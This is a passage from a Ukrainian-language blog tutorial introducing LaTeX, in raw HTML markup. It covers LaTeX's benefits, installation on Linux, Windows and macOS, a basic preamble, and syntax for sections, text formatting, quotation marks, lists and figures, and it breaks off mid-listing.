&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;inexplicably&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;незрозуміло, нез&amp;#39;ясовно&lt;span class=&#34;nb&#34;&gt;}{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;anodyne&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;болезаспокійлливий&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;anodyne yodeling&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;retort&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;різка, дотепна відповідь; відповідати тим же&lt;span class=&#34;nb&#34;&gt;}{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;terrific&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;колосальний, чудовий, разючий, страшний&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;He had a terrific ear for the hit song.&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;clairvoyance&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;ясновидіння, прозорливість, проникливість&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;his pop music instincts approached clairvoyance.&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;slum(s)&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;нетрі, закутки; брудний закуток&lt;span class=&#34;nb&#34;&gt;}{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;перетворюється на це:&lt;/p&gt;

&lt;figure
	 style=&#34;max-width: 300px;&#34;&gt;
		&lt;img src=&#34;dict.png&#34; width=&#34;300px&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Можете переглянути приклади гарних документів &lt;a href=&#34;https://tex.stackexchange.com/questions/1319/showcase-of-beautiful-typography-done-in-tex-friends&#34;&gt;тут&lt;/a&gt; і &lt;a href=&#34;https://www.overleaf.com/gallery&#34;&gt;тут&lt;/a&gt;, або
просто уважно роздивіться якусь серйозну книжку.&lt;/p&gt;
&lt;p&gt;Це універсальна штука, яку використовують математики, мовознавці, хіміки,
художні письменники та всі, хто хоче легко створити гарний документ.&lt;/p&gt;
&lt;h2 id=&#34;нашо-мені-його-вчити&#34;&gt;Нашо мені його вчити?&lt;/h2&gt;
&lt;dl&gt;
&lt;dt&gt;LaTeX робить усе за вас (МАГІЯ!!!)&lt;/dt&gt;
&lt;dd&gt;Компілятор автоматично нумерує
рисунки, формули, елементи списків і т д;
налаштовує перехресні посилання, генерує зміст, бібліографію та (майже) ідеально розставляє всі елементи твору. Просто подумайте, скільки це заощаджує часу та зусиль!&lt;/dd&gt;
&lt;dt&gt;Тільки текст&lt;/dt&gt;
&lt;dd&gt;Текстові файли займають мало місця, зручні для пошуку, переміщення та інших маніпуляцій.&lt;/dd&gt;
&lt;dt&gt;Програмування в документах&lt;/dt&gt;
&lt;dd&gt;ви можете використовувати оператори умовного переходу, створювати власні команди та взагалі робити, що заманеться.&lt;/dd&gt;
&lt;dt&gt;Автоматизація роботи&lt;/dt&gt;
&lt;dd&gt;Наприклад, можна написати простий скрипт, щоб автоматично створювати звіти до різних університетських робіт. Можете подивитися, як я це зробив, у цьому &lt;a href=&#34;https://www.youtube.com/watch?v=tsm7Dfu8PqQ&#34;&gt;відео&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Вічні документи&lt;/dt&gt;
&lt;dd&gt;Ви можете знайти код для будь-якої дивної науково-мистецької штуки в інтернеті та використати у своїй роботі.&lt;/dd&gt;
&lt;dt&gt;Необов&amp;rsquo;язково LaTeX&lt;/dt&gt;
&lt;dd&gt;ви можете писати невеликі документи різними мовами розмітки, зокрема Markdown, і використовувати програми на кшталт Pandoc для перетворення їх на сирці LaTeX або готові PDF.&lt;/dd&gt;
&lt;dt&gt;LaTeX легко вивчити&lt;/dt&gt;
&lt;dd&gt;мова розмітки ЛаТеХ об&amp;rsquo;єктивно простіша за HTML, бо більшість синтаксису &amp;mdash; просто англійські слова.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h2 id=&#34;установка&#34;&gt;Установка&lt;/h2&gt;
&lt;p&gt;Отже, тепер ви хочете готувати документи
за допомогою LaTeX, тож розгляньмо
встановлення цього пакету та
основи мови.&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;Arch-подібні дистри GNU/Linux (Artix, Manjaro, Parabola)&lt;/dt&gt;
&lt;dd&gt;&lt;code&gt;pacman -S texlive-most texlive-lang&lt;/code&gt;&lt;/dd&gt;
&lt;dt&gt;Debian-подібні (Ubuntu/Linux Mint)&lt;/dt&gt;
&lt;dd&gt;&lt;code&gt;apt-get install texlive-full&lt;/code&gt;&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Деякі дистриб&amp;rsquo;юції (як Void) використовують tlmgr для
керування пакетами TeX.&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;Для Windows&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://miktex.org/download/#%23collapse264&#34;&gt;Getting MiKTeX&lt;/a&gt;&lt;/dd&gt;
&lt;dd&gt;існує розширення для VSCodium&lt;/dd&gt;
&lt;dt&gt;Для MacOS X?&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://tug.org/mactex/&#34;&gt;MacTeX - TeX Users Group&lt;/a&gt;&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Також існує пакунок &lt;strong&gt;texlive-most-doc&lt;/strong&gt;,
у якому міститься величезна кількість документації
до пакетів latex. Скоріш за все, поки він скачається, ви заснете,
але це часом стає в нагоді.&lt;/p&gt;
&lt;p&gt;Загалом те, що треба, достатньо шукати в інтернеті.
Ось кілька хороших сайтів:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://texdoc.org/index.html&#34;&gt;texdoc&lt;/a&gt; &amp;mdash; texlive-most-doc, тільки веб&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.ctan.org/&#34;&gt;CTAN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://texblog.org/&#34;&gt;texblog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://texample.net/&#34;&gt;https://texample.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://fedorsarafanov.github.io/&#34;&gt;https://fedorsarafanov.github.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.learnlatex.org/en/&#34;&gt;https://www.learnlatex.org/en/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;починаємо-верстати&#34;&gt;Починаємо верстати&lt;/h2&gt;
&lt;p&gt;Зазвичай команди виглядають так:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\к&lt;/span&gt;омандабезаргументів
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\к&lt;/span&gt;оманда[додаткові]&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;обов&amp;#39;язкові&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;аргументи&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;середовище&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	вміст
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\к&lt;/span&gt;оманда
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	в більшість середовищ можна вкладати інші середовища
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;середовище&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;нормальна-преамбула&#34;&gt;Нормальна преамбула&lt;/h3&gt;
&lt;p&gt;Щоб почати, нам потрібна преамбула &amp;mdash; це набір налаштувань перед умістом документу.
Тут я наведу необхідну базу, а якщо вам знадобиться
більше, можете поглянути на &lt;a href=&#34;https://github.com/miliukhin/lpnu_doc_templates/blob/master/settings/preamble.tex&#34;&gt;мою преамбулу для університетських паперів&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://miliukhin.xyz/articles/latex/tut.tex&#34;&gt;Ось&lt;/a&gt; файл, набір якого я коментуватиму далі, також &lt;a href=&#34;https://miliukhin.xyz/articles/latex/bib.bib&#34;&gt;файл бібліографії&lt;/a&gt; й &lt;a href=&#34;https://miliukhin.xyz/articles/latex/latex.png&#34;&gt;картинка&lt;/a&gt;.&lt;/strong&gt;
Просто скачайте його та скомпілюйте (всі інструкції на цій сторінці). Або можете покроково вставляти текст із наступних лістингів у власний документ.
Спершу завжди вставляєм преамбулу. &lt;strong&gt;Увага на коментарі в лістингах!&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\documentclass&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[oneside,final,12pt]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;extarticle&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% клас документа й додаткові параметри
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;% команда \usepackage використовується для під&amp;#39;єднання пакунків
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\usepackage&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[utf8]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;inputenc&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% кодування вводу % [koi8-r]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\usepackage&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[T2A]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;fontenc&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% кодування шрифта
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\usepackage&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[ukrainian]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;babel&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% пакет для локалізації
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\usepackage&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;indentfirst&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% звичні для нас абзаци на початках розділів/секцій
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\sloppy&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% бореться з залізанням на поля
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;document&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Вміст документа між кінцем і початком
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;document&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Для трохи більших документів
замість &lt;code&gt;extarticle&lt;/code&gt; можна використовувати
клас &lt;code&gt;extreport&lt;/code&gt; &amp;mdash; у ньому вже з&amp;rsquo;являються розділи,
про які зараз будемо балакати, адже
тепер ми маємо преамбулу й можемо
набирати документ, вставляючи наступний код між &lt;code&gt;\begin{document}&lt;/code&gt; та &lt;code&gt;\end{document}&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;дрібка-синтаксису&#34;&gt;Дрібка синтаксису&lt;/h3&gt;
&lt;p&gt;Я стисло розгляну найпоширеніші команди.
Але спочатку ось команда для компіляції документа:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pdflatex &amp;lt;шлях до документа&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;рубрикація&#34;&gt;Рубрикація&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;%\chapter{розділ, extarticle не має}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\section&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;секція&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;це   все       зверстається
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;як
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;один рядок. &lt;span class=&#34;c&#34;&gt;% а ще латех виправить пропуски
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Щоб почати новий абзац,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;достатньо пропустити рядок.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\subsection&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;підсекція&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\subsubsection&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;підпідсекція&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\paragraph&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;параграф&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\subparagraph&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;підпараграф&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;До кінців назв команд рубрикації й узагалі
будь-яких із лічильниками (1. 2. 3.) можна
додавати &lt;code&gt;*&lt;/code&gt; (напр. &lt;code&gt;section*{...}&lt;/code&gt;),
щоб прибрати номер.&lt;/p&gt;
&lt;h4 id=&#34;трохи-про-сам-текст&#34;&gt;Трохи про сам текст&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\textbf&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;жирний&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\textit&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;курсив&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\emph&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;виділений текст, за замовчуванням курсивний&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\underline&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;підкреслення&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\subsection&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;Трохи про лапки&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;кожен символ однозначний, тому: &amp;#34;&amp;#34; --- не подвійні лапки
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;``отак треба подвійні лапки&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;`а так це наголос і апостроф&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;списки&#34;&gt;Списки&lt;/h4&gt;
&lt;p&gt;Списки створюються за допомогою
середовищ &lt;code&gt;enumerate&lt;/code&gt; (нумеровані)
та &lt;code&gt;itemize&lt;/code&gt; (ненумеровані)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;enumerate&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% номери підкреслюють важливість або послідовність
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;k&#34;&gt;\item&lt;/span&gt; щось
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;itemize&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% можна вкладати деякі середовища в інші
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;			&lt;span class=&#34;k&#34;&gt;\item&lt;/span&gt; ще щось &lt;span class=&#34;c&#34;&gt;% не нумерує
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;			&lt;span class=&#34;k&#34;&gt;\item&lt;/span&gt; ще щось
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;itemize&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\item&lt;/span&gt; щось
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;enumerate&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% автоматично переходить на інший спосіб нумерації
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;			&lt;span class=&#34;k&#34;&gt;\item&lt;/span&gt; ще щось
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;enumerate&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;enumerate&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;картинки-й-рисунки&#34;&gt;Картинки й рисунки&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://miliukhin.xyz/articles/latex/latex.png&#34; alt=&#34;бейзд латех&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;figure&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;[h] &lt;span class=&#34;c&#34;&gt;% рисунок ТУТ (Here), можна t (top), b (bottom), p(page), ! (ігнорувати деякі параметри LaTeX для розміщення)
